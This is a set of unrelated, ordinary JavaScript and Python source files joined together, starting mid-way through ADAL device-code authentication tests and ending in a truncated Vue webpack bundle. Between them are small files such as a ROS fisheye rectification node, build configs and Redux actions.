setupExpectedTokenRequestResponse(200, response.wireResponse); var userCodeInfo = { deviceCode: cp.deviceCode, interval: 1, expiresIn: 1 }; var context = new AuthenticationContext(cp.authUrl); context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err, tokenResponse) { assert(!err, 'Receive unexpected error'); tokenRequest.done(); done(err); }); }); function setupExpectedTokenRequestResponseWithAuthPending(returnDoc, authorityEndpoint) { var authEndpoint = util.getNockAuthorityHost(); var queryParameter = {}; queryParameter['grant_type'] = 'device_code'; queryParameter['client_id'] = cp.clientId; queryParameter['resource'] = cp.resource; queryParameter['code'] = cp.deviceCode; var query = querystring.stringify(queryParameter); var authPendingResponse = { error: 'authorization_pending'}; var tokenRequest = nock(authEndpoint) .filteringRequestBody(function(body) { return util.filterQueryString(query, body); }) .post(cp.tokenUrlPath, query) .reply(400, authPendingResponse) .post(cp.tokenUrlPath, query) .reply(200, returnDoc); util.matchStandardRequestHeaders(tokenRequest); return tokenRequest; } test('happy-path-pendingOnFirstRequest', function (done) { var response = util.createResponse(); var tokenRequest = setupExpectedTokenRequestResponseWithAuthPending(response.wireResponse); var userCodeInfo = { deviceCode: cp.deviceCode, interval: 1, expiresIn: 200 }; var context = new AuthenticationContext(cp.authUrl); context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err, tokenResponse) { if (!err) { assert(util.isMatchTokenResponse(response.cachedResponse, tokenResponse), 'The response did not match what was expected'); tokenRequest.done(); } done(err); }); }); test('happy-path-cancelRequest', function (done) { nock.cleanAll(); var response = util.createResponse(); var tokenRequest = setupExpectedTokenRequestResponseWithAuthPending(response.wireResponse); var userCodeInfo = { deviceCode: cp.deviceCode, interval: 1, expiresIn: 200 }; var context = new AuthenticationContext(cp.authUrl); context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err, tokenResponse) { assert(err, 'Did not receive expected error'); assert(err.message === 'Polling_Request_Cancelled'); done(); }); context.cancelRequestToGetTokenWithDeviceCode(userCodeInfo, function(err) { assert(!err, 'Receive unexpected error.') }); }); test('bad-argument', function (done) { nock.cleanAll(); var context = new AuthenticationContext(cp.authUrl); var userCodeInfo = { interval: 5, expiresIn: 1000}; context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo is missing device_code'); }); userCodeInfo = { deviceCode: 'test_device_code', expiresIn: 1000 }; context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo is missing interval'); }); userCodeInfo = { deviceCode: 'test_device_code', interval: 5 }; context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo is missing expires_in'); }); // test if usercodeInfo is null context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, null, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo parameter is required'); }); userCodeInfo = { deviceCode: 'test_device_code', interval: 5, expiresIn: 1000 }; try { context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo); } catch (e) { assert(e, 'Did not receive expected error. '); assert(e.message === 'acquireToken requires a function callback parameter.', 'Unexpected error message returned.'); } userCodeInfo = { deviceCode: 'test_device_code', interval: 0, expiresIn: 1000 }; context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err) { assert(err, 'Did not receive expected error.'); assert(err.message === 'invalid refresh interval'); }); done(); }); test('bad-argument-cancel-request', function (done) { var context = new AuthenticationContext(cp.authUrl); var userCodeInfo = { interval: 5, expiresIn: 1000 }; context.cancelRequestToGetTokenWithDeviceCode(userCodeInfo, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo is missing device_code'); }); // test if usercodeInfo is null context.cancelRequestToGetTokenWithDeviceCode(null, function (err) { assert(err, 'Did not receive expected argument error'); assert(err.message === 'The userCodeInfo parameter is required'); }); userCodeInfo = { deviceCode: 'test_device_code', interval: 5, expiresIn: 1000 }; try { context.cancelRequestToGetTokenWithDeviceCode(userCodeInfo); } catch (e) { assert(e, 'Did not receive expected error. '); assert(e.message === 'acquireToken requires a function callback parameter.', 'Unexpected error message returned.'); } userCodeInfo = { deviceCode: cp.deviceCode, interval: 1, expiresIn: 200 }; context.cancelRequestToGetTokenWithDeviceCode(userCodeInfo, function (err) { assert(err, 'Did not receive expected error. '); assert(err.message === 'No acquireTokenWithDeviceCodeRequest existed to be cancelled', 'Unexpected error message returned.'); }) done(); }); test('cross-tenant-refresh-token', function (done) { var memCache = new MemoryCache(); var response = util.createResponse({mrrt: true}); var tokenRequest = setupExpectedTokenRequestResponse(200, response.wireResponse); var userCodeInfo = { deviceCode: cp.deviceCode, interval: 1, expiresIn: 1 }; var context = new AuthenticationContext(cp.authUrl, false, memCache); context.acquireTokenWithDeviceCode(cp.resource, cp.clientId, userCodeInfo, function (err, tokenResponse) { assert(!err, 'Receive unexpected error'); var someOtherAuthority = url.parse(cp.evoEndpoint + '/' + 'anotherTenant'); var responseOptions = { refreshedRefresh : true, mrrt: true}; var response = util.createResponse(responseOptions); var wireResponse = response.wireResponse; wireResponse.id_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9jY2ViYTE0Yy02YTAwLTQ5YWMtYjgwNi04NGRlNTJiZjFkNDIvIiwiaWF0IjpudWxsLCJleHAiOm51bGwsImF1ZCI6ImU5NThjMDlhLWFjMzctNDkwMC1iNGQ3LWZiM2VlYWY3MzM4ZCIsInN1YiI6IjRnVHY0RXRvWVctRFRvdzBiRG5KZDFBQTRzZkNoQmJqZXJtcXQ2UV9aYTQiLCJ0aWQiOiJkM2I3ODEzZC0zYTAzLTQyZmEtODk2My1iOTBhNzQ1NTIyYTUiLCJvaWQiOiJhNDQzMjA0YS1hYmM5LTRjYjgtYWRjMS1jMGRmYzEyMzAwYWEiLCJ1cG4iOiJycmFuZGFsbEBycmFuZGFsbGFhZDEub25taWNyb3NvZnQuY29tIiwidW5pcXVlX25hbWUiOiJycmFuZGFsbEBycmFuZGFsbGFhZDEub25taWNyb3NvZnQuY29tIiwiZmFtaWx5X25hbWUiOiJSYW5kYWxsIiwiZ2l2ZW5fbmFtZSI6IlJpY2gifQ.r-XHRqqtxI_7IEmwciFTBJpzwetz4wrM2Is_Z8-O7lw"; //need to change tokenUrlPath for the different tenant token request, and make sure get it changed back to not affect other tests var tokenUrlPath = cp.tokenUrlPath; cp.tokenUrlPath = someOtherAuthority.pathname + cp.tokenPath + cp.extraQP; var refreshRequest = util.setupExpectedRefreshTokenRequestResponse(200, wireResponse, someOtherAuthority, response.resource); cp.tokenUrlPath = tokenUrlPath; var conextForAnotherAuthority = new AuthenticationContext(someOtherAuthority, false, memCache); conextForAnotherAuthority.acquireToken(response.resource, tokenResponse.userId, response.clientId, function (error, tokenResponseForAnotherAuthority) { assert(!error, 'Receive unexpected error'); assert(memCache._entries.length === 2, 'There should two cache entries in the cache'); memCache.find({userId: tokenResponse.userId, _clientId: response.clientId, _authority: cp.evoEndpoint + '/' + cp.tenant}, function (err, entry) { assert(!err, 'Unexpected error received'); assert(entry.length === 1, 'no result returned for given tenant.'); assert(entry[0].tenantId === 'cceba14c-6a00-49ac-b806-84de52bf1d42'); }); memCache.find({userId: tokenResponse.userId, _clientId: response.clientId, _authority: url.format(someOtherAuthority)}, function (err, entry) { assert(!err, 'unexpected error received'); assert(entry.length === 1, 'no result returned for given tenant.'); assert(entry[0].tenantId === 'd3b7813d-3a03-42fa-8963-b90a745522a5'); }); done(err); }); }); }); });
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for UpdateContext # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-aiplatform # [START aiplatform_generated_aiplatform_v1_MetadataService_UpdateContext_sync] from google.cloud import aiplatform_v1 def sample_update_context(): # Create a client client = aiplatform_v1.MetadataServiceClient() # Initialize request argument(s) request = aiplatform_v1.UpdateContextRequest( ) # Make the request response = client.update_context(request=request) # Handle the response print(response) # [END aiplatform_generated_aiplatform_v1_MetadataService_UpdateContext_sync]
/* * @Author: yukap * @Date: 2016-04-21 17:44:51 * @Last Modified by: yukap * @Last Modified time: 2016-04-21 20:19:12 */ 'use strict'; module.exports = require('./src');
/** * Created by psyfreak on 09.04.2018. */ import { Meteor } from 'meteor/meteor'; import { HTTP } from 'meteor/http'; const callService = (type, url, options) => new Promise((resolve, reject) => { HTTP.call(type, url, options, (error, result) => { console.log("result",result); console.log("error",error); if (error) { reject(error); } else { resolve(result); } }); }); Meteor.methods({ testAPI() { return callService( 'GET', 'http://jsonplaceholder.typicode.com/users' ) .then( (result) => result ).catch((error) => { throw new Meteor.Error('500', `${error.message}`); }); } });
import { MongoClient } from 'mongodb' import nextConnect from 'next-connect' const client = new MongoClient(process.env.DATABASE_URL, { useNewUrlParser: true, useUnifiedTopology: true, }) async function db(req, res, next) { if (!client.isConnected()) await client.connect() req.dbClient = client req.db = client.db("tempest") return next() } const middleware = nextConnect() middleware.use(db) export default middleware
module.exports = function(grunt) { grunt.config.init({ pkg: grunt.file.readJSON('package.json') }); grunt.loadNpmTasks('grunt-contrib-clean'); grunt.config('clean', { dist: 'dist' }); grunt.loadNpmTasks('grunt-contrib-copy'); grunt.config('copy', { dist: { files: { 'dist/sortable-table.js': 'sortable-table.js' } } }); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.config('uglify', { options: { preserveComments: 'some' }, dist: { files: { 'dist/sortable-table.min.js': [ 'sortable-table.js' ] } } }); grunt.registerTask('dist', [ 'clean:dist', 'copy:dist', 'uglify:dist' ]); grunt.registerTask('default', [ 'dist' ]); };
/* global $ JS_PAGE Cookies */ let loginMutation = ` mutation AuthenticateUser($email: String!, $password: String!) { authenticateUser(email: $email, password: $password) { id, token } }`; $(document).ready(function() { // Login View if (typeof JS_PAGE !== 'undefined' && JS_PAGE == 'login_view') { $('#login-button').on('click', (event) => { event.preventDefault(); let username = $('#username').val(), password = $('#password').val(); $.post({ url: 'https://api.graph.cool/simple/v1/cjhk1cqby89yz0107u4hghp0k', data: JSON.stringify({ query: loginMutation, variables: { email: username, password: password } }), success: (response) => { let user = response.data.authenticateUser; if (user === null) { alert('Login failed! Try again.'); } else { Cookies.set('authorId', user.id, { expires: 7 }); Cookies.set('token', user.token, { expires: 7 }); // Redirect window.location = 'article_form.html'; } }, contentType: 'application/json' }); }); } });
const Fetch = require('node-fetch') const noticeUrl = process.env.NOTICE_URL // 通知地址 console.log('noticeUrl:', noticeUrl) // 匹配通知来源类型 const TYPE_MAP = { ALI_FLOW: 'ali_flow' // 阿里云flow } // 通知声音 const SOUND_TYPE = { SUCCESS: 'birdsong', // 成功 OTHER: 'calypso' // 其他 } const getNoticeUrl = (body, type) => { if (type === TYPE_MAP.ALI_FLOW) { const task = body.task ?? {} const {taskName, statusName, pipelineUrl, message, statusCode} = task const sound = statusCode === 'SUCCESS' ? SOUND_TYPE.SUCCESS : SOUND_TYPE.OTHER const title = taskName + statusName return encodeURI(`${noticeUrl}/${title}/${message}?copy=${pipelineUrl}&sound=${sound}`) } return encodeURI(`${noticeUrl}/未匹配到通知类型`) } module.exports = async function(req, res) { const type = req.params.type const url = getNoticeUrl(req.body, type) try { await Fetch(url) res.end('send success') } catch(e) { res.end('send fail:' + e.message) } }
#!/usr/bin/env python import rospy import message_filters import cv2 from cv_bridge import CvBridge import numpy as np from sensor_msgs.msg import Image camera_params = {} bridge = CvBridge() # load yaml via opencv def load_yaml(filepath): fs = cv2.FileStorage(filepath, cv2.FILE_STORAGE_READ) camera_params["height"] = fs.getNode("height").real() camera_params["width"] = fs.getNode("width").real() camera_params["K1"] = fs.getNode("K1").mat() camera_params["K2"] = fs.getNode("K2").mat() camera_params["D1"] = fs.getNode("D1").mat().flatten()[:4] camera_params["D2"] = fs.getNode("D2").mat().flatten()[:4] camera_params["R1"] = fs.getNode("R1").mat() camera_params["R2"] = fs.getNode("R2").mat() camera_params["P1"] = fs.getNode("P1").mat() camera_params["P2"] = fs.getNode("P2").mat() class Rectification(object): def __init__(self): camera_name = rospy.get_param("~t265_cam_namespace", default="/t265") self.left_image_pub = rospy.Publisher(camera_name + "/fisheye1/image_rect", Image, queue_size=1) self.right_image_pub = rospy.Publisher(camera_name + "/fisheye2/image_rect", Image, queue_size=1) left_cam_sub = message_filters.Subscriber(camera_name + "/fisheye1/image_raw", Image) right_cam_sub = message_filters.Subscriber(camera_name + "/fisheye2/image_raw", Image) # Create distortion maps for left and right image_size = (int(camera_params["width"]), int(camera_params["height"])) m1type = cv2.CV_16SC2 undistortion_map_1 = cv2.fisheye.initUndistortRectifyMap( camera_params["K1"], camera_params["D1"], camera_params["R1"], camera_params["P1"], image_size, m1type) undistortion_map_2 = cv2.fisheye.initUndistortRectifyMap( camera_params["K2"], camera_params["D2"], camera_params["R2"], camera_params["P2"], image_size, m1type) self.undistort_rectify = { "left": undistortion_map_1, "right": undistortion_map_2 } ts = message_filters.TimeSynchronizer([left_cam_sub, right_cam_sub], 10) ts.registerCallback(self.camera_cb) def cv_to_ros(self, image, message): image_message = bridge.cv2_to_imgmsg(image, encoding="rgb8") image_message.header = message.header return image_message def camera_cb(self, img_left, img_right): cv_left = bridge.imgmsg_to_cv2(img_left, desired_encoding='rgb8') cv_right = bridge.imgmsg_to_cv2(img_right, desired_encoding='rgb8') cv_left_undistorted = cv2.remap(src=cv_left, map1=self.undistort_rectify["left"][0], map2=self.undistort_rectify["left"][1], interpolation=cv2.INTER_LINEAR) cv_right_undistorted = cv2.remap(src=cv_right, map1=self.undistort_rectify["right"][0], map2=self.undistort_rectify["right"][1], interpolation=cv2.INTER_LINEAR) self.left_image_pub.publish(self.cv_to_ros(cv_left_undistorted, img_left)) self.right_image_pub.publish(self.cv_to_ros(cv_right_undistorted, img_right)) def main(): rospy.init_node('rectification', anonymous=False) rectify = Rectification() while not rospy.is_shutdown(): rospy.sleep(5.0) if __name__ == '__main__': try: load_yaml("/root/ros_ws/src/fisheye-rectifier/params/t265_params.yml") main() except rospy.ROSInterruptException: pass
import one from '../assets/svg/projects/one.svg' import two from '../assets/svg/projects/two.svg' import three from '../assets/svg/projects/three.svg' import four from '../assets/svg/projects/four.svg' import five from '../assets/svg/projects/five.svg' import six from '../assets/svg/projects/six.svg' import seven from '../assets/svg/projects/seven.svg' import eight from '../assets/svg/projects/eight.svg' export const projectsData = [ { id: 1, projectName: 'Social Site BlogSpot', projectDesc: 'This project aims to build a social platform for sharing blogs with images', tags: ['React', 'CSS', 'Material Ui'], code: 'https://github.com/SoNuPandey22/Blogspot', demo: 'https://blogspotsas.herokuapp.com/', image: one }, { id: 2, projectName: 'Web-Aid', projectDesc: 'This project contains inoformation and article related to the starting phase of covid19', tags: ['HTML', 'CSS', 'JAVASCRIPT'], code: 'https://github.com/SoNuPandey22/web-aid', demo: 'https://web-aid.herokuapp.com/', image: two }, { id: 3, projectName: 'ShopOGreat', projectDesc: 'An Ecomerce project for online shoping', tags: ['ReactJs', 'NodeJs', 'Express','Material Ui'], code: 'https://github.com/SoNuPandey22/Shopogreat', demo: '', image: three }, // { // id: 4, // projectName: '', // projectDesc: '', // tags: ['Flutter', 'Firebase'], // code: 'https://github.com/hhhrrrttt222111/developer-portfolio', // demo: 'https://github.com/hhhrrrttt222111/developer-portfolio', // image: four // }, // { // id: 5, // projectName: 'E-Commerce App', // projectDesc: 'A Simple E-commerce application', // tags: ['React Native', 'Firebase'], // code: 'https://github.com/hhhrrrttt222111/developer-portfolio', // demo: 'https://github.com/hhhrrrttt222111/developer-portfolio', // image: five // }, // { // id: 6, // projectName: 'Uber Lite', // projectDesc: 'Uber clone', // tags: ['Flutter'], // code: 'https://github.com/hhhrrrttt222111/developer-portfolio', // demo: 'https://github.com/hhhrrrttt222111/developer-portfolio', // image: six // }, // { // id: 7, // projectName: 'Stock Market App', // projectDesc: 'A simple stock market API app', // tags: ['React', 'Redux', 'Bootstrap'], // code: 'https://github.com/hhhrrrttt222111/developer-portfolio', // demo: 'https://github.com/hhhrrrttt222111/developer-portfolio', // image: seven // }, // { // id: 8, // projectName: 'Car Pooling System', // projectDesc: 'The carpooling system merges multiple people in a car which leads to meet new people, reduces pollution', // tags: ['Flutter', 'React'], // code: 'https://github.com/hhhrrrttt222111/developer-portfolio', // demo: 'https://github.com/hhhrrrttt222111/developer-portfolio', // image: eight // }, ] // Do not remove any fields. // Leave it blank instead as shown below /* { id: 1, projectName: 'Car Pooling System', projectDesc: '', tags: ['Flutter', 'React'], code: '', demo: '', image: '' }, */
/* * decaffeinate suggestions: * DS102: Remove unnecessary code created because of implicit returns * DS206: Consider reworking classes to avoid initClass * Full docs: https://github.com/decaffeinate/decaffeinate/blob/master/docs/suggestions.md */ const $ = require('jquery'); class Dialogs { static initClass () { this.clearErrors = () => { this._removeModalBackground(); return $('.error-box').remove(); }; this._clearDialogs = () => { this._removeModalBackground(); return $('.dialog-box-modal').remove(); }; } static confirm (message, callback) { this._addModalBackground(); const $dialog = $(`<div>${message}</div>`) .addClass('dialog-box-modal') .appendTo(document.body).hide().fadeIn(); $('<button>Ok</button>') .appendTo($dialog) .css('margin-left', '20px') .click(() => { this._clearDialogs(); if (_.isFunction(callback)) { return callback(); } }); $('<button class="secondary-button">Cancel</button>') .appendTo($dialog) .click(this._clearDialogs); return $('button').css('margin-right', '5px'); } static addErrorToElem (message, elem) { const $elem = $(elem); return $(`<div>${message}</div>`) .addClass('error-box error-box-arrow-top') .css({'marginTop': $elem.height() - 4}) .insertAfter($elem).hide().fadeIn(); } static error (message, callback) { this.clearErrors(); this._addModalBackground(); const $dialog = $(`<div>${message}</div>`) .addClass('error-box error-box-modal') .appendTo(document.body).hide().fadeIn(); const $previouslyFocused = $(document.activeElement); return $('<button>Ok</button>') .appendTo($dialog) .css('margin-left', '20px') .focus() .click(() => { this.clearErrors(); $previouslyFocused.focus(); if (_.isFunction(callback)) { return callback(); } }); } static _addModalBackground () { return $('<div></div>').addClass('modal-background').appendTo(document.body); } static _removeModalBackground () { return $('.modal-background').remove(); } }; Dialogs.initClass(); module.exports = Dialogs;
import axios from 'axios'; import { PHYSICIAN_FETCH_PATIENTS, PHYSICIAN_FETCH_PATIENTS_FAILURE, CHECK_MY_RELATIONSHIP_REQUEST, CHECK_MY_RELATIONSHIP_SUCCESS, CHECK_MY_RELATIONSHIP_FAILURE, REMOVE_RELATIONSHIP_REQUEST, REMOVE_RELATIONSHIP_SUCCESS, REMOVE_RELATIONSHIP_FAILURE } from './action-constants'; const fetchPhysicianPatients = (patients) => { return { type: PHYSICIAN_FETCH_PATIENTS, loaded: true, payload: patients } } const fetchPhysicianPatientsFailure = (err) => { return { type: PHYSICIAN_FETCH_PATIENTS_FAILURE, loaded: false, payload: err } } export function fetchMyPatients(userid) { console.log("FETCH MY PATIENTS") return dispatch => { return axios.get(`/api/physician/${userid}/patients`) .then(response =>{ console.log("RESPONSE", response) dispatch(fetchPhysicianPatients(response)); }) .catch(error => { dispatch(fetchPhysicianPatientsFailure(error)); }); } } //CHECK IF A RELATIONSHIP EXISTS const checkMyRelationshipRequest = (relationship) => { return { type: CHECK_MY_RELATIONSHIP_REQUEST, relation: false, } } const checkMyRelationshipSuccess = (response) => { return { type: CHECK_MY_RELATIONSHIP_SUCCESS, relation: response, } } const checkMyRelationshipFailure = (err) => { return { type: CHECK_MY_RELATIONSHIP_FAILURE, relation: false, payload: err } } export const checkMyRelationship = (relationship) => { return dispatch => { dispatch(checkMyRelationshipRequest(relationship)); return axios.post('/api/relation', relationship) .then(response => { response.data.length > 0 ? dispatch(checkMyRelationshipSuccess(true)) : dispatch(checkMyRelationshipSuccess(false)) }) .catch(error => checkMyRelationshipFailure(error)); } } //REMOVE RELATIONSHIP (PHYSICIAN AND PATIENT BOTH CAN) const removeRelationshipRequest = () => { return { type: REMOVE_RELATIONSHIP_REQUEST, relation: false, } } const removeRelationshipSuccess = () => { return { type: REMOVE_RELATIONSHIP_SUCCESS, relation: true, } } const removeRelationshipFailure = () => { return { type: REMOVE_RELATIONSHIP_FAILURE, relation: false, } } export const removeRelationship = (relationship) => { return dispatch => { dispatch(removeRelationshipRequest()); return axios.post(`/api/relation/delete`, relationship) .then(response =>{ dispatch(removeRelationshipSuccess()); }) .catch(error => dispatch(removeRelationshipFailure(error)) ) } }
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-345bd576"],{"7f7f":function(t,a,s){var i=s("86cc").f,e=Function.prototype,r=/^\s*function ([^ (]*)/,o="name";o in e||s("9e1e")&&i(e,o,{configurable:!0,get:function(){try{return(""+this).match(r)[1]}catch(t){return""}}})},c44e:function(t,a,s){"use strict";var i=function(){var t=this,a=t.$createElement,s=t._self._c||a;return s("b-tabs",[s("b-tab",[s("template",{slot:"title"},[s("i",{staticClass:"icon-list"})]),s("b-list-group",{staticClass:"list-group-accent"},[s("b-list-group-item",{staticClass:"list-group-item-accent-secondary bg-light text-center font-weight-bold text-muted text-uppercase small"},[t._v("\n Today\n ")]),s("b-list-group-item",{staticClass:"list-group-item-accent-warning list-group-item-divider",attrs:{href:"#"}},[s("div",{staticClass:"avatar float-right"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}})]),s("div",[t._v("Meeting with\n "),s("strong",[t._v("Lucas")])]),s("small",{staticClass:"text-muted mr-3"},[s("i",{staticClass:"icon-calendar"}),t._v("  1 - 3pm\n ")]),s("small",{staticClass:"text-muted"},[s("i",{staticClass:"icon-location-pin"}),t._v("  Palo Alto, CA\n ")])]),s("b-list-group-item",{staticClass:"list-group-item-accent-info",attrs:{href:"#"}},[s("div",{staticClass:"avatar float-right"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/4.jpg",alt:"[email protected]"}})]),s("div",[t._v("Skype with "),s("strong",[t._v("Megan")])]),s("small",{staticClass:"text-muted mr-3"},[s("i",{staticClass:"icon-calendar"}),t._v("  4 - 5pm")]),s("small",{staticClass:"text-muted"},[s("i",{staticClass:"icon-social-skype"}),t._v("  On-line")])]),s("hr",{staticClass:"transparent mx-3 my-0"}),s("b-list-group-item",{staticClass:"list-group-item-accent-secondary bg-light text-center font-weight-bold text-muted text-uppercase small"},[t._v("\n Tomorrow\n ")]),s("b-list-group-item",{staticClass:"list-group-item-accent-danger list-group-item-divider",attrs:{href:"#"}},[s("div",[t._v("New UI Project - "),s("strong",[t._v("deadline")])]),s("small",{staticClass:"text-muted mr-3"},[s("i",{staticClass:"icon-calendar"}),t._v("  10 - 11pm")]),s("small",{staticClass:"text-muted"},[s("i",{staticClass:"icon-home"}),t._v("  creativeLabs HQ")]),s("div",{staticClass:"avatars-stack mt-2"},[s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/2.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/3.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/4.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/5.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/6.jpg",alt:"[email protected]"}})])])]),s("b-list-group-item",{staticClass:"list-group-item-accent-success list-group-item-divider",attrs:{href:"#"}},[s("div",[s("strong",[t._v("#10 Startups.Garden")]),t._v(" Meetup")]),s("small",{staticClass:"text-muted mr-3"},[s("i",{staticClass:"icon-calendar"}),t._v("  1 - 3pm")]),s("small",{staticClass:"text-muted"},[s("i",{staticClass:"icon-location-pin"}),t._v("  Palo Alto, CA")])]),s("b-list-group-item",{staticClass:"list-group-item-accent-primary list-group-item-divider",attrs:{href:"#"}},[s("div",[s("strong",[t._v("Team meeting")])]),s("small",{staticClass:"text-muted mr-3"},[s("i",{staticClass:"icon-calendar"}),t._v("  4 - 6pm")]),s("small",{staticClass:"text-muted"},[s("i",{staticClass:"icon-home"}),t._v("  creativeLabs HQ")]),s("div",{staticClass:"avatars-stack mt-2"},[s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/2.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/3.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/4.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/5.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/6.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}})]),s("div",{staticClass:"avatar avatar-xs"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/8.jpg",alt:"[email protected]"}})])])])],1)],2),s("b-tab",[s("template",{slot:"title"},[s("i",{staticClass:"icon-speech"})]),s("div",{staticClass:"p-3"},[s("div",{staticClass:"message"},[s("div",{staticClass:"py-3 pb-5 mr-3 float-left"},[s("div",{staticClass:"avatar"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}}),s("b-badge",{staticClass:"avatar-status",attrs:{variant:"success"}})],1)]),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lukasz Holeczek")]),s("small",{staticClass:"text-muted float-right mt-1"},[t._v("1:52 PM")])]),s("div",{staticClass:"text-truncate font-weight-bold"},[t._v("Lorem ipsum dolor sit amet")]),s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt...")])]),s("hr"),s("div",{staticClass:"message"},[s("div",{staticClass:"py-3 pb-5 mr-3 float-left"},[s("div",{staticClass:"avatar"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}}),s("b-badge",{staticClass:"avatar-status",attrs:{variant:"danger"}})],1)]),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lukasz Holeczek")]),s("small",{staticClass:"text-muted float-right mt-1"},[t._v("1:52 PM")])]),s("div",{staticClass:"text-truncate font-weight-bold"},[t._v("Lorem ipsum dolor sit amet")]),s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt...")])]),s("hr"),s("div",{staticClass:"message"},[s("div",{staticClass:"py-3 pb-5 mr-3 float-left"},[s("div",{staticClass:"avatar"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}}),s("b-badge",{staticClass:"avatar-status",attrs:{variant:"info"}})],1)]),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lukasz Holeczek")]),s("small",{staticClass:"text-muted float-right mt-1"},[t._v("1:52 PM")])]),s("div",{staticClass:"text-truncate font-weight-bold"},[t._v("Lorem ipsum dolor sit amet")]),s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt...")])]),s("hr"),s("div",{staticClass:"message"},[s("div",{staticClass:"py-3 pb-5 mr-3 float-left"},[s("div",{staticClass:"avatar"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}}),s("b-badge",{staticClass:"avatar-status",attrs:{variant:"warning"}})],1)]),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lukasz Holeczek")]),s("small",{staticClass:"text-muted float-right mt-1"},[t._v("1:52 PM")])]),s("div",{staticClass:"text-truncate font-weight-bold"},[t._v("Lorem ipsum dolor sit amet")]),s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt...")])]),s("hr"),s("div",{staticClass:"message"},[s("div",{staticClass:"py-3 pb-5 mr-3 float-left"},[s("div",{staticClass:"avatar"},[s("img",{staticClass:"img-avatar",attrs:{src:"img/avatars/7.jpg",alt:"[email protected]"}}),s("b-badge",{staticClass:"avatar-status",attrs:{variant:"dark"}})],1)]),s("div",[s("small",{staticClass:"text-muted"},[t._v("Lukasz Holeczek")]),s("small",{staticClass:"text-muted float-right mt-1"},[t._v("1:52 PM")])]),s("div",{staticClass:"text-truncate font-weight-bold"},[t._v("Lorem ipsum dolor sit amet")]),s("small",{staticClass:"text-muted"},[t._v("Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor 